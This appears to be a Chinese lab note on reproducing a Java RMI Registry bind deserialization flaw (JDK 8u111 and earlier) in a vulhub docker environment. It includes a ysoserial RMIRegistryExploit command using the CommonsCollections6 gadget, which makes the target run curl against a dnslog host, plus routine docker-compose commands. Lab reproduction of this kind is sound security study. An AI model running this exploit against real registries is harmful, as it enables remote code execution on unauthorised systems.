声明
好好学习,天天向上
漏洞描述
Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1).
影响范围
<=jdk8u111
复现过程
使用vulhub
/app/vulhub-master/java/rmi-registry-bind-deserialization
使用docker启动
docker-compose build
docker-compose up -d
dnslog生成一个DNS
http://www.dnslog.cn/
kali执行命令,使用yso,自行修改IP和DNS地址
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.RMIRegistryExploit 192.168.239.129 1099 CommonsCollections6 "curl ds7x6t.dnslog.cn"
DNSLOG刷新
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down